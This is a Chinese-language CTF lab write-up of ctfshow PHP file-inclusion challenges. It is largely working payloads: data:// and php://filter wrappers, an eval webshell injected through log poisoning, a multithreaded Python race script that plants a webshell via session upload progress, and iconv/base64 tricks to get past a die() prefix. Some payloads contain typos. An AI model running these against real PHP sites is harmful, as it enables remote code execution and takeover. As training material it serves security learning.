web 78
这里没有什么过滤
?file=data://text/plain,<?php system('tac flag.php');?>
web 79
把php替换为???
这里会影响filter,对data没有影响
用短标签绕过过滤
?file=data://text/plain,<?=eval($_PPOST[1];?>
1=system("tac flag.php");
web 80
data和php别过滤了
我们尝试包含日志
首先我们在user agent里面写入
<?=eval($_POST[1]);?>
然后
?file=/var/log/nginx/access.log
1=system('cat fl0g.php');
web 81
和上一题基本一致
web 82
这次多过滤了.以及:,只能包含无后缀的文件
而我们饿session文件没有后缀
控制文件内容是
PHP_SESSION_UPLOAD_PROGRESS获取实时文件上传进度,利用这个函数将内容写在文件中去
ctfshow学习记录-web入门(文件包含78-87)_ctfshow web87-CSDN博客
import requests
import io
import threading
url='http://9a77fcb3-6f3c-4bd6-a247-07bfe6766509.challenge.ctf.show:8080/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/jiuzhen.php','<?php eval($_POST[3]);?>');"
}
#这个是访问/tmp/sess_ctfshow时,post传递的内容,是在网站目录下写入一句话木马。这样一旦访问成功,就可以蚁剑连接了。
def write(session):#/tmp/sess_ctfshow中写入一句话木马。
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):#访问/tmp/sess_ctfshow,post传递信息,在网站目录下写入木马。
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
resposne2=session.get(url+'jiuzhen.php');#访问木马文件,如果访问到了就代表竞争成功
if resposne2.status_code==200:了
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
#写入和访问分别设置5个线程。
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
这里用到了条件竞争以及session的利用
CTF | 天下武功唯快不破之条件竞争漏洞 - FreeBuf网络安全行业门户
session利用的小思路 - 先知社区 (aliyun.com)
web 83
这里首先把session给销毁了再包含
上一个脚本还能用
web 84
这题在包含之间把临时文件删除
我们的上一个脚本还可以。
相当我我们删除之后又写进去了。在单线程是安全的,但多线程就不安全了
web 85
先确认文件存在,检测有没<,在把文件包含。上一题还可以用
web 86
定义了一个包含路径,上一个脚本还可以跑通
web 87
这题使用伪协议的过滤器
?file=php://fiter/write=convert.base64-encode/resource=2.php
filter——使用过滤器
convert.base64-encodet——对写的内容进行编码
content=<?php @eval($_POST[y]);?>
这里我们需要注意的是我们的php://fiter/write=convert.base64-encode/resource=2.php需要进行两次url编码,而对我们的<?php @eval($_POST[y]);?>需要进行一次base64编码,由于base64编码范围的原因<?php die('大佬别秀了');?>会被过滤为phpdie为6个,需要加上任意2个在base64范围内的字符即可,所以
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
content=aaPD9waHAgQGV2YWwoJF9QT1NUW3ldKTs/Pg==
然后访问2.php
y=system('tac f*.php');
web 88
由于没有过滤:,所以使用data协议
?file=data://text/plain;base64,<?php system('tac *.php');?>
但是要使用base64编码,编码后不能有+ = 所以我们不断填充字符来去掉。
参考payload
?file=data://text/plain;base64,<?php system('tac *.php');?>aa
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh
web 116
老师上课的时候交了一点misc
把视频下载下来,用010打开
发现一个png文件,保存下来
这应该就是源代码
我们直接打开
?file=flag.php
通过抓包发现flag在返回包里,只是在浏览器中看不到
web 117
依旧是要绕过file_put_contents($file, "<?php die();?>".$contents);
这里与87相同,只是base64,rot13等被禁用了,发现
convert.iconv.可用
payload
?file=php://filter/write=convert.iconv,UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?
1=system('tac flag.php')